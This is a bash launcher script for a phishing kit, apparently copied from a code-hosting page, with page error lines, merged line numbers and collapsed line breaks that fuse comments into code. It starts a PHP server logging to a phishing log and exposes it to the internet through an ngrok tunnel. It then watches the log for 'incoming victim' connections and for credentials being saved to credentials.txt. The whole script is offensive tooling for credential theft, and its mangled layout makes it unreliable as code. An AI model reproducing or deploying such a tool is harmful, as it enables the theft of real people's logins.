Something went wrong. Try again.
Something went wrong. Try again.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118#!/bin/bash
# Load colors and connection checksource utils/colors.shsource utils/connection.sh
# Check if php is installedfunction check_php { if ! command -v php &>/dev/null; then printf "${BOLD}${WHITE}[${RED}x${WHITE}]${RESET} Please install php\n" exit 0 fi}
# Check if ngrok is installedfunction check_ngrok { ngrok_installed=$( command -v ngrok &>/dev/null \ && echo true \ || echo false )}
# Check binariesfunction check_installation { check_php check_ngrok}
# Handle exit gracefullyfunction handle_exit { # Disable Ctrl+C (^C) character display stty -echoctl
# Trap Ctrl+C (SIGINT) to kill background processes and exit cleanly trap "echo;\ printf '${BOLD}${WHITE}[${RED}*${WHITE}]${RESET} Shutting down\n';\ kill $php_pid $ngrok_pid 2>/dev/null;\ exit 0\ " INT}
# Check if a port is freefunction is_port_free { ! lsof -i :$1 >/dev/null 2>&1}
# Generate a random 4-digit free portfunction get_free_port { while true; do port=$((RANDOM % 5999 + 4001)) if is_port_free "$port"; then echo "$port" return fi done}
# Start PHP server and log output to filefunction start_php_server { php -S 0.0.0.0:$1 >> logs/phishing.log 2>&1 & php_pid=$! printf "${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Server started on port ${YELLOW}$1${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Local URL : ${BLUE}http://localhost:$1${RESET}\n\n"}
function start_ngrok_forward { if [[ "$ngrok_installed" != "true" ]]; then printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok is not installed.\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" elif [[ ! -f "$HOME/.config/ngrok/ngrok.yml" ]]; then printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok config not found.\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" else printf "${BOLD}${WHITE}[${GREEN}?${WHITE}]${RESET} Checking internet connection " if ! connected; then printf "${BOLD}${RED}x${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" else printf "${BOLD}${GREEN} ${RESET}\n" printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Ngrok tunneling operational\n" start_ngrok fi fi}
# Start ngrok and wait for public URLfunction start_ngrok { ngrok http $port > /dev/null 2>&1 & ngrok_pid=$!
printf "\n${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Waiting for ngrok tunnel " while true; do ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1) if [[ -n "$ngrok_url" ]]; then break fi echo -n "." sleep 0.5 done
printf "\n${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Public URL : ${BLUE}$ngrok_url${RESET}\n"}
# Monitor log file for connectionsfunction handle_connection { printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n"
tail -n 0 -f logs/phishing.log | while IFS= read -r line; do if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then printf "$line\n" fi if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n" fi done}